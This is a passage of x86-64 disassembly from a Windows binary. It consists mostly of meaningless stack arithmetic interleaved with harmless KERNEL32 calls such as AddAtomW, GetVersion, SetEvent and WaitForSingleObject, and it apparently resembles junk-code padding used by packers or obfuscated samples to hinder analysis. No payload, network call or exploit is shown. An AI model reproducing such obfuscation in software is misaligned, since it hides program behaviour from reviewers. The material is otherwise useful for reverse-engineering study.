movzx ecx, word [rsp + 0xc54]
or eax, ecx
mov rcx, qword [rsp + 0x5290]
mov word [rcx], ax
lea rax, [rsp + 0x1b30]
mov qword [rsp + 0x8640], rax
mov rax, qword [rsp + 0x3180]
movzx ecx, al
mov rax, qword [rsp + 0x4f18]
shl rax, cl
mov rcx, qword [rsp + 0x50f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x20b]
mov byte [rsp + 0x221], al
mov rax, qword [0x14018c2d0]
mov rcx, qword [rsp + 0x4958]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4e28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc98]
add eax, ecx
mov word [0x14018c148], ax
lea rcx, [0x1401503a0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfdc], ax
mov rax, qword [rsp + 0x7900]
movzx eax, word [rax]
movzx ecx, word [0x14018ade8]
add eax, ecx
mov rcx, qword [rsp + 0x7f90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x98], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2194], eax
mov eax, dword [rsp + 0x2094]
movzx ecx, al
mov eax, dword [rsp + 0x2190]
sar eax, cl
mov rcx, qword [rsp + 0x7e18]
mov dword [rcx], eax
lea rax, [rsp + 0x51e8]
mov qword [rsp + 0x8648], rax
mov rax, qword [rsp + 0x7300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4440]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54f8]
movzx eax, byte [rax]
mov byte [rsp + 0x222], al
mov rax, qword [0x14018c310]
mov ecx, dword [rsp + 0x1ca8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7d60]
mov dword [rcx], eax
movsx eax, word [rsp + 0x548]
mov rcx, qword [rsp + 0x4148]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f60]
movzx eax, word [rax]
mov rcx, qword [0x14018c7d0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018ae40], ax
lea rax, [rsp + 0x5720]
mov qword [rsp + 0x8650], rax
mov rax, qword [rsp + 0x6c30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf7c]
and eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov word [rcx], ax
lea rax, [rsp + 0xbb4]
mov qword [rsp + 0x8658], rax
mov rax, qword [rsp + 0x38a8]
mov rcx, qword [rsp + 0x4b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7778], rax
mov rax, qword [rsp + 0x81e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21d4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4720]
mov dword [rcx], eax
lea rax, [0x14018be10]
mov qword [rsp + 0x8660], rax
movsx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0x7e70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xea], al
movzx eax, word [rsp + 0x48c]
mov word [rsp + 0xfe0], ax
mov rax, qword [rsp + 0x7ee0]
mov rcx, qword [0x14018bf20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14018c6f0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rsp + 0x1d40]
mov rcx, qword [rsp + 0x4c40]
mov qword [rsp + 0x8668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8668]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4ea0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x78c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x73e8]
mov byte [rcx], al
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x8670], rax
movzx eax, word [rsp + 0xe7c]
movzx ecx, word [rsp + 0x9d8]
sub eax, ecx
mov word [rsp + 0xe0c], ax
mov eax, dword [rsp + 0x1e9c]
mov ecx, dword [rsp + 0x21dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f30], eax
mov rax, qword [rsp + 0x4418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6388]
mov qword [rsp + 0x8678], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8678]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4b00]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1bc]
mov rcx, qword [rsp + 0x5038]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0xf84]
mov qword [rsp + 0x8680], rax
movzx eax, word [rsp + 0xfc0]
mov rcx, qword [rsp + 0x6ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c500]
mov word [rcx], ax
mov rax, qword [rsp + 0x6620]
mov rcx, qword [rsp + 0x63d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5590], rax
mov rax, qword [0x14018ad58]
mov qword [rsp + 0x8688], rax
mov rax, qword [rsp + 0x2fc8]
mov rcx, qword [rsp + 0x7110]
mov qword [rsp + 0x8690], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8690]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6118]
mov qword [rcx], rax
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x8698], rax
movsx eax, byte [rsp + 0x12e]
movsx ecx, byte [rsp + 0xaf]
or eax, ecx
mov rcx, qword [rsp + 0x6638]
mov byte [rcx], al
mov rax, qword [rsp + 0x77d8]
mov ecx, dword [rsp + 0x2024]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1be4], eax
lea rax, [rsp + 0x6010]
mov qword [rsp + 0x86a0], rax
mov rax, qword [rsp + 0x8100]
movzx eax, byte [rax]
imul eax, eax, 0xb7
mov byte [rsp + 0x218], al
lea rax, [rsp + 0x1ed4]
mov qword [rsp + 0x86a8], rax
lea rax, [rsp + 0x768]
mov qword [0x14018c930], rax
movzx eax, word [rsp + 0xd54]
movzx ecx, word [0x14018c198]
sar eax, cl
mov word [rsp + 0xf20], ax
movzx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0x5410]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8270]
mov word [rcx], ax
mov rax, qword [rsp + 0x6620]
mov rcx, qword [rsp + 0x6d78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x39c0], rax
mov rax, qword [rsp + 0x4570]
mov ecx, dword [rsp + 0x21c4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8300]
mov dword [rcx], eax
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x86b0], rax
movsx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x78f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7928]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2218], eax
movsx eax, word [0x14018ae30]
movsx ecx, word [rsp + 0xe98]
add eax, ecx
mov rcx, qword [rsp + 0x6470]
mov word [rcx], ax
movzx eax, word [rsp + 0x840]
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0x7f28]
mov rcx, qword [rsp + 0x7698]
mov qword [rsp + 0x86b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x86b8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018ad90], rax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6518]
mov word [rcx], ax
lea rax, [rsp + 0x37f0]
mov qword [rsp + 0x86c0], rax
mov rax, qword [rsp + 0x3fb8]
mov rcx, qword [rsp + 0x8130]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3098], rax
lea rax, [rsp + 0x152]
mov qword [rsp + 0x86c8], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x218c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7988]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x206]
movzx ecx, byte [0x14018acda]
xor eax, ecx
mov rcx, qword [rsp + 0x7268]
mov byte [rcx], al
mov eax, dword [rsp + 0x21a4]
mov dword [rsp + 0x22b8], eax
mov rax, qword [rsp + 0x5820]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7cb0]
mov qword [rcx], rax
lea rax, [rsp + 0x7f4]
mov qword [0x14018c938], rax
lea rax, [0x14018bf08]
mov qword [rsp + 0x86d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x694]
movzx ecx, word [rsp + 0xbfc]
shl eax, cl
mov rcx, qword [rsp + 0x7f60]
mov word [rcx], ax
movzx eax, word [rsp + 0x7bc]
mov rcx, qword [rsp + 0x4978]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd80], ax
mov rax, qword [0x14018bde0]
mov rcx, qword [rsp + 0x6a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1b68], eax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x7300]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4530]
mov qword [rcx], rax
lea rax, [rsp + 0x1f5]
mov qword [rsp + 0x86d8], rax
movsx eax, word [0x14018c8a0]
mov rcx, qword [rsp + 0x4980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x784], ax
movzx eax, word [rsp + 0xad4]
mov rcx, qword [rsp + 0x4048]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6090]
mov word [rcx], ax
mov rax, qword [0x14018c7e0]
mov rax, qword [rax]
mov qword [0x14018c940], rax
mov rax, qword [rsp + 0x7508]
mov qword [rsp + 0x86e0], rax
mov rax, qword [rsp + 0x6008]
mov rcx, qword [rsp + 0x6f40]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6260]
mov qword [rcx], rax
mov rax, qword [0x14018c0d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67e0]
mov qword [rsp + 0x86e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x86e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3620], rax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x5898]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x7898]
mov rcx, qword [rsp + 0x5f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x22b0], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x86f0], rax
mov eax, dword [rsp + 0x1b6c]
mov ecx, dword [rsp + 0x2264]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2278], eax
lea rcx, str.PIbuf_Yyu1ozDY_MIUh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x5c58]
mov rax, qword [rax]
mov qword [rsp + 0x86f8], rax
mov rax, qword [rsp + 0x4e60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
shl eax, cl
mov byte [0x14018bdcb], al
mov rax, qword [rsp + 0x5390]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x69c]
or eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
lea rax, [rsp + 0xd74]
mov qword [rsp + 0x8700], rax
movzx eax, word [rsp + 0xc94]
movzx ecx, word [rsp + 0xca4]
add eax, ecx
mov word [rsp + 0x3dc], ax
mov rax, qword [rsp + 0x7a60]
mov rcx, qword [rsp + 0x55e0]
mov qword [rsp + 0x8708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8708]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7c48]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xf78]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd70], ax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x8710], rax
mov rax, qword [rsp + 0x8150]
mov rcx, qword [rsp + 0x50c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8318]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b5c]
mov dword [rsp + 0x22bc], eax
mov rcx, qword [rsp + 0x53c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x22c0], eax
movsx eax, word [rsp + 0x688]
mov rcx, qword [rsp + 0x4298]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe88], ax
lea rax, [rsp + 0xe5c]
mov qword [0x14018c948], rax
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x32d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7e58]
mov qword [rcx], rax
lea rax, [rsp + 0xd68]
mov qword [rsp + 0x8718], rax
mov rax, qword [rsp + 0x4a58]
mov rcx, qword [rsp + 0x44b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ff0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [0x14018bde0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1cec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6098]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4060]
shr rax, cl
mov qword [rsp + 0x79a0], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x8720], rax
movsx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xecc], ax
movzx eax, word [rsp + 0xcd4]
mov rcx, qword [rsp + 0x6650]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018c7a0]
mov word [rcx], ax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x51a0]
mov rax, qword [rax]
mov qword [rsp + 0x8728], rax
mov rcx, qword [rsp + 0x4738]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x5870]
mov rcx, qword [rsp + 0x6668]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7b38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x554]
or eax, ecx
mov word [rsp + 0x42c], ax
mov rax, qword [rsp + 0x6f50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8070]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6430]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1ab]
movsx ecx, byte [rsp + 0x152]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba8]
mov byte [rcx], al
lea rax, [rsp + 0x2074]
mov qword [rsp + 0x8730], rax
mov rax, qword [0x14018ad80]
movzx ecx, al
mov rax, qword [rsp + 0x7c58]
shr rax, cl
mov rcx, qword [rsp + 0x4cd0]
mov qword [rcx], rax
lea rax, [rsp + 0x2fc0]
mov qword [rsp + 0x8738], rax
mov rax, qword [rsp + 0x8260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018c074], ax
movzx eax, word [rsp + 0x61c]
mov rcx, qword [0x14018c870]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5420]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x4c88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x21c], al
mov rax, qword [rsp + 0x4f88]
mov eax, dword [rax]
mov dword [rsp + 0x22c4], eax
mov rax, qword [rsp + 0x6528]
mov rcx, qword [0x14018c130]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3398], rax
lea rax, [rsp + 0x1ea]
mov qword [rsp + 0x8740], rax
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ca8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4440]
movzx ecx, al
mov rax, qword [rsp + 0x3a08]
shr rax, cl
mov rcx, qword [rsp + 0x5178]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x63b8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4dc], ax
mov rax, qword [rsp + 0x57e0]
movzx eax, word [rax]
mov word [0x14018c950], ax
mov rax, qword [rsp + 0x3100]
movzx ecx, al
mov rax, qword [rsp + 0x5bc8]
shl rax, cl
mov qword [rsp + 0x4740], rax
lea rax, [rsp + 0xe3c]
mov qword [rsp + 0x8748], rax
mov rax, qword [rsp + 0x4848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x73b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4f58]
mov word [rcx], ax
mov rax, qword [rsp + 0x4498]
mov rax, qword [rax]
mov rcx, qword [0x14018c1f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7e88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6380]
movzx eax, byte [rax]
mov byte [rsp + 0x223], al
mov eax, dword [rsp + 0x228c]
mov ecx, dword [rsp + 0x221c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4008]
mov dword [rcx], eax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x69a0]
mov qword [rsp + 0x8750], rax
mov rax, qword [rsp + 0x53c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
sub eax, ecx
mov rcx, qword [rsp + 0x4578]
mov word [rcx], ax
mov rax, qword [rsp + 0x7728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c28]
mov qword [rsp + 0x8758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8758]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018c788], rax
lea rax, [rsp + 0x2100]
mov qword [rsp + 0x8760], rax
mov rax, qword [rsp + 0x6c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov byte [rsp + 0x1db], al
movsx eax, word [rsp + 0x398]
movsx ecx, word [rsp + 0x7f4]
add eax, ecx
mov rcx, qword [rsp + 0x67a0]
mov word [rcx], ax
lea rax, [0x14018adb0]
mov qword [rsp + 0x8768], rax
mov rax, qword [rsp + 0x4858]
mov rcx, qword [rsp + 0x55c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
lea rax, [rsp + 0x2264]
mov qword [rsp + 0x8770], rax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x43b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5360]
mov byte [rcx], al
movsx eax, word [rsp + 0xf60]
movsx ecx, word [rsp + 0x3b8]
and eax, ecx
mov word [rsp + 0xf6c], ax
lea rax, [rsp + 0x844]
mov qword [0x14018c958], rax
mov rax, qword [rsp + 0x5700]
mov rax, qword [rax]
mov qword [rsp + 0x8778], rax
mov rax, qword [rsp + 0x44a8]
mov rcx, qword [rsp + 0x5510]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8648]
mov qword [rcx], rax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0x8780], rax
mov rax, qword [rsp + 0x7a68]
movsx eax, word [rax]
movsx ecx, word [0x14018c808]
shl eax, cl
mov rcx, qword [rsp + 0x4a28]
mov word [rcx], ax
mov rax, qword [rsp + 0x7100]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2134], eax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x18d]
xor eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x6c28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7038]
shr rax, cl
mov qword [rsp + 0x4f18], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x8788], rax
mov eax, dword [rsp + 0x20f4]
mov ecx, dword [rsp + 0x1c40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
lea rax, [rsp + 0x42c]
mov qword [0x14018c960], rax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x92c], ax
lea rax, [rsp + 0xcfc]
mov qword [rsp + 0x8790], rax
mov rax, qword [rsp + 0x6410]
mov rcx, qword [rsp + 0x33c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6598]
mov qword [rcx], rax
lea rax, [rsp + 0xc9]
mov qword [rsp + 0x8798], rax
mov eax, dword [rsp + 0x1e48]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shr eax, cl
mov rcx, qword [rsp + 0x6658]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8140]
mov qword [rsp + 0x87a0], rax
mov rax, qword [rsp + 0x7370]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca0]
and eax, ecx
mov rcx, qword [rsp + 0x4ca0]
mov word [rcx], ax
movzx eax, word [rsp + 0xd58]
mov rcx, qword [rsp + 0x6148]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
mov rax, qword [0x14018c2b0]
mov rcx, qword [rsp + 0x2b98]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ace0], rax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd28]
shl eax, cl
mov word [rsp + 0x980], ax
mov rax, qword [rsp + 0x67c8]
mov rcx, qword [rsp + 0x6080]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0x85b0]
mov rax, qword [rax]
mov qword [rsp + 0x87a8], rax
movsx eax, byte [rsp + 0x10a]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x21d8]
movzx ecx, al
mov eax, dword [0x14018c570]
shr eax, cl
mov rcx, qword [rsp + 0x6b30]
mov dword [rcx], eax
lea rax, [rsp + 0x202]
mov qword [rsp + 0x87b0], rax
mov rax, qword [rsp + 0x5d50]
mov rcx, qword [rsp + 0x8760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3e20]
mov dword [rcx], eax
mov rax, qword [0x14018c4b8]
mov qword [rsp + 0x87b8], rax
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x22c8], eax
movsx eax, word [rsp + 0x548]
mov rcx, qword [rsp + 0x5a88]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c378]
mov word [rcx], ax
movsx eax, word [rsp + 0xe90]
movsx ecx, word [rsp + 0x650]
and eax, ecx
mov word [rsp + 0x3b8], ax
movzx eax, word [rsp + 0x61c]
mov rcx, qword [rsp + 0x4b40]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc54], ax
mov rax, qword [rsp + 0x7b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe74]
and eax, ecx
mov word [rsp + 0x910], ax
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [0x14018c8d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2184], eax
lea rax, [rsp + 0x1ca]
mov qword [rsp + 0x87c0], rax
mov rax, qword [rsp + 0x6138]
mov rcx, qword [rsp + 0x7188]
mov qword [rsp + 0x87c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x87c8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ab0]
mov qword [rcx], rax
lea rax, [0x14018c170]
mov qword [rsp + 0x87d0], rax
movzx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0x7a28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3e98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x59a8]
and rcx, rax
mov rax, rcx
mov qword [0x14018ae48], rax
mov rax, qword [0x14018c6f0]
mov rcx, qword [rsp + 0x5df8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3100], rax
mov rax, qword [rsp + 0x7648]
mov qword [rsp + 0x87d8], rax
mov rax, qword [rsp + 0x3718]
mov rcx, qword [rsp + 0x3630]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x87a8], rax
mov rax, qword [0x14018c718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6fa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa58], ax
mov eax, dword [rsp + 0x1fa0]
mov rcx, qword [rsp + 0x4038]
mov qword [rsp + 0x87e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x87e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x21a4], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11f]
add eax, ecx
mov rcx, qword [rsp + 0x6360]
mov byte [rcx], al
lea rax, [rsp + 0x13b]
mov qword [rsp + 0x87e8], rax
mov rax, qword [rsp + 0x5ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4dd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56d8]
mov qword [rcx], rax
mov eax, dword [0x14018bdc0]
mov dword [0x14018c968], eax
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x87f0], rax
mov edx, 0x1d98
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2160], eax
mov rax, qword [rsp + 0x4a28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7068]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7748]
mov word [rcx], ax
mov rax, qword [rsp + 0x70f0]
movzx eax, word [rax]
mov rcx, qword [0x14018c408]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7730]
mov word [rcx], ax
lea rax, [rsp + 0x3150]
mov qword [rsp + 0x87f8], rax
mov rax, qword [rsp + 0x6f78]
mov rcx, qword [rsp + 0x60f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x63d8]
mov dword [rcx], eax
lea rax, [rsp + 0xca]
mov qword [rsp + 0x8800], rax
mov rax, qword [rsp + 0x48d8]
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6818]
mov qword [rcx], rax
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0xc90]
sar eax, cl
mov word [rsp + 0xd04], ax
movzx eax, word [rsp + 0xea0]
mov rcx, qword [0x14018c7b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c0a8]
mov word [rcx], ax
lea rax, [rsp + 0x6be8]
mov qword [rsp + 0x8808], rax
mov rax, qword [rsp + 0x4098]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb44]
add eax, ecx
mov word [rsp + 0xf04], ax
mov eax, dword [rsp + 0x1d08]
mov dword [rsp + 0x22cc], eax
mov rax, qword [rsp + 0x6ae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e1]
or eax, ecx
mov byte [rsp + 0x1c6], al
lea rax, [rsp + 0x21a]
mov qword [rsp + 0x8810], rax
mov rax, qword [0x14018ad68]
mov rcx, qword [rsp + 0x6830]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x22bc]
mov rcx, qword [rsp + 0x67b0]
mov qword [rsp + 0x8818], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8818]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x21d8], eax
lea rax, [rsp + 0x60c]
